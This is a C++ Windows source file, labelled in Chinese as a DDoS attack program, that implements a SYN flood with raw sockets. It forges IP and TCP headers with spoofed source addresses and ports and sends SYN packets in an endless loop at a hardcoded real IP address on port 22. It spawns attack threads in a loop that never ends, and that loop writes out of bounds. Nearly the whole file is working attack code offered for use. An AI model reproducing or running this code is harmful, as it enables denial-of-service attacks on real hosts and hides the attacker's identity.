dfg.cpp

ddos 攻击

// dfg.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include "dfg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif


// 唯一的应用程序对象

CWinApp theApp;

using namespace std;







#include "stdafx.h" 

#include <windows.h> 

#include <winsock2.h> 

#include <ws2tcpip.h> 

#pragma comment(lib,"WS2_32.LIB") 

 

typedef struct tag_ip_Header          //ip首部 

{ 

  unsigned char h_verlen;             //4位手部长度，和4位IP版本号 

  unsigned char tos;                  //8位类型服务 

  unsigned short total_len;           //16位总长度 

  unsigned short ident;               //16位标志 

  unsigned short frag_and_flags;      //3位标志位（如SYN,ACK,等等) 

  unsigned char ttl;                  //8位生存时间 

  unsigned char proto;                //8位协议 

  unsigned short checksum;            //ip手部效验和 

  unsigned int SourceIP;              //伪造IP地址 

  unsigned int DestIP;                //攻击的ip地址 

}IPHEADER; 

 

typedef struct tag_tcp_Header 

{ 

  USHORT th_sport;                    //伪造端口 

  USHORT th_dport;                    //攻击端口 

  unsigned int th_seq;                //32位系列号 

  unsigned int th_ack;                //32位确认号 

  unsigned char th_lenres;            //4位首布长度，6位保留字 

  unsigned char th_flag;              //6位标志位 

  USHORT th_win;                      //16位窗口大小 

  USHORT th_sum;                      //16位效验和 

  USHORT th_urp;                      // 

}TCPHEADER; 

 

typedef struct tag_tsd_Header 

{ 

  unsigned long saddr;                //伪造地址 

  unsigned long daddr;                //攻击地址 

  char mbz;                           // 

  char ptcl;                          //协议类型 

  unsigned short tcpl;                //TCP长度 

}TSDHEADER; 

 

DWORD WINAPI Start(void); 

HANDLE hFind[10]; 

 

//计算效验和 

USHORT checksum(USHORT *buffer,int size) 

{ 

  unsigned long check=0; 

  while(size>1) 

  { 

    check+=*buffer++; 

    size -=sizeof(USHORT); 

  } 

  if(size) 

  { 

    check += *(USHORT*)buffer; 

  } 

  check = (check >>16) + (check & 0xffff); 

  check += (check >>16); 

  return (USHORT)(~check); 

} 

//攻击线程 

DWORD WINAPI Statr(void) 

{ 

  SOCKET sock; 

  WSADATA WSAData; 

  SOCKADDR_IN syn_in; 

  IPHEADER ipHeader; 

  TCPHEADER tcpHeader; 

  TSDHEADER psdHeader; 

  const char *addr = "61.176.222.179";     //攻击的IP地址 

  int port = 22;                     //要攻击的端口 

  if(WSAStartup(MAKEWORD(2,2),&WSAData)) 

  { 

    return false; 

  } 

  if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET) 

  { 

    return false; 

  } 

  BOOL flag=true; 

  if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(flag))==SOCKET_ERROR) 

  { 

    return false; 

  } 

  int Time =888; 

  if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&Time,sizeof(Time))==SOCKET_ERROR) 

  { 

    return false; 

  } 

  syn_in.sin_family = AF_INET; 

  syn_in.sin_port = htons(port); 

  syn_in.sin_addr.S_un.S_addr = inet_addr(addr); 

  while(TRUE) 

  { 

    //填充IP首部 

    ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long)); 

    ipHeader.tos=0; 

    ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)); 

    ipHeader.ident=1; 

    ipHeader.frag_and_flags=0; 

    ipHeader.ttl=(unsigned char)GetTickCount()%514+620; 

    ipHeader.proto=IPPROTO_TCP; 

    ipHeader.checksum=0; 

    ipHeader.SourceIP=htonl(GetTickCount()*1986); 

    ipHeader.DestIP=inet_addr(addr); 

    //填充Tcp首部 

    int SourcePort =GetTickCount()*1986%514; 

    tcpHeader.th_dport=htons(port); 

    tcpHeader.th_sport=htons(SourcePort); 

    tcpHeader.th_seq=htonl(0x12345678); 

    tcpHeader.th_ack=0; 

    tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); 

    tcpHeader.th_flag=2; 

    tcpHeader.th_win=htons(620); 

    tcpHeader.th_urp=0; 

    tcpHeader.th_sum=0; 

    //填充TCP伪首部用来计算TCP头部的效验和 

    psdHeader.saddr=ipHeader.SourceIP; 

    psdHeader.daddr=ipHeader.DestIP; 

    psdHeader.mbz=0; 

    psdHeader.ptcl=IPPROTO_TCP; 

    psdHeader.tcpl=htons(sizeof(tcpHeader)); 

    

    //计算校验和 

    char SendBuff[100]={0}; 

    memcpy(SendBuff, &psdHeader, sizeof(psdHeader)); 

    memcpy(SendBuff+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); 

    tcpHeader.th_sum=checksum((USHORT *)SendBuff,sizeof(psdHeader)+sizeof(tcpHeader)); 

    memcpy(SendBuff, &ipHeader, sizeof(ipHeader)); 

    memcpy(SendBuff+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader)); 

    

    //发送数据包 

    int Syn=sendto(sock, SendBuff, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&syn_in, sizeof(syn_in)); 

    if(Syn==SOCKET_ERROR) 

    { 

      return false; 

    } 
	//Sleep(100);

  } 

  closesocket(sock); 

  WSACleanup(); 

  return true; 

} 

 

int   _tmain(HINSTANCE hInstance, 

                     HINSTANCE hPrevInstance, 

                     LPSTR lpCmdLine, 

                     int nCmdShow) 

{ //启动线程，10，大家可以自己改 

  for(int i=0;i<1;i++) 

  { 

    hFind[i-1]=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Statr,0,0,NULL); 

    i--; 

  } 

  return 0; 

}







//
//int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
//{
//	int nRetCode = 0;
//
//	// 初始化 MFC 并在失败时显示错误
//	if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
//	{
//		// TODO: 更改错误代码以符合您的需要
//		_tprintf(_T("致命错误: MFC 初始化失败\n"));
//		nRetCode = 1;
//	}
//	else
//	{
//		// TODO: 在此处为应用程序的行为编写代码。
//	}
//
//	return nRetCode;
//}